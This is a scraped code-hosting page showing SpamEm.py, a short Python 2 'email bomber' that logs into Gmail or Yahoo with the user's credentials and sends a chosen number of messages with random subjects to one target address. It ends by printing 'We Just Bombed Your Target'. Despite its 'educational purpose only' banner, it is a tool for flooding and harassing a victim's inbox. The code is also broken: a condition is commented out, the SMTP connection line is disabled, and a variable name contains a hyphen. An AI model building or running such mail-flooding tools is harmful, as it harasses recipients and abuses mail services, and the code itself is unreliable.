-
Notifications
You must be signed in to change notification settings - Fork 7
/
SpamEm.py
62 lines (53 loc) · 1.84 KB
/
SpamEm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python
#E-Bv0.1
#This code for education purpose only.
#Use it at your own risk !!!
import os
import smtplib
import getpass
import sys
print '\n******************************************************'
print '\n* THIS IS ONLY FOR EDUCATIONAL PURPOSE *'
print '\n* AUTHOR: SWETABH SUMAN *'
print '\n* WEBSITE: WWW.HACKERNUCLEUS.COM *'
print '\n* DATE: 20 MAY 2017 *'
print '\n******************************************************'
print '\n'
server = raw_input ('MailServer Gmail: ')
user = raw_input('Please Enter Your E-mail ID: ')
passwd = getpass.getpass('Please Enter Your Password: ')
to = raw_input('\nEnter Sender E-mail ID: ')
#subject = raw_input('Subject: ')
body = raw_input('Enter Your Message: ')
total = input('Number Of Items : ')
if #server == 'gmail':
smtp_server = 'smtp.gmail.com'
port = 587
elif server == 'yahoo':
smtp_server = 'smtp.mail.yahoo.com'
port = 995
else:
print 'We Are Product of Hacker Nucleus.'
sys.exit()
print '\nPlease Visit www.HackerNucleus.com'
try:
#server = smtplib.SMTP(smtp_server,port)
server.ehlo()
if smtp-server == "smtp.gmail.com":
server.starttls()
server.login(user,passwd)
for i in range(1, total+1):
subject = os.urandom(9)
msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
server.sendmail(user,to,msg)
print '\nwww.hackernucleus.com (Please Visit For More Educational Stuff)'
print "\rSending Emails... : %i" % i
sys.stdout.flush()
server.quit()
print '\n Yay! We Just Bombed Your Target !!!'
except KeyboardInterrupt:
print '[-] Canceled'
sys.exit()
except smtplib.SMTPAuthenticationError:
print '\n[!] The username or password you entered is incorrect.'
sys.exit()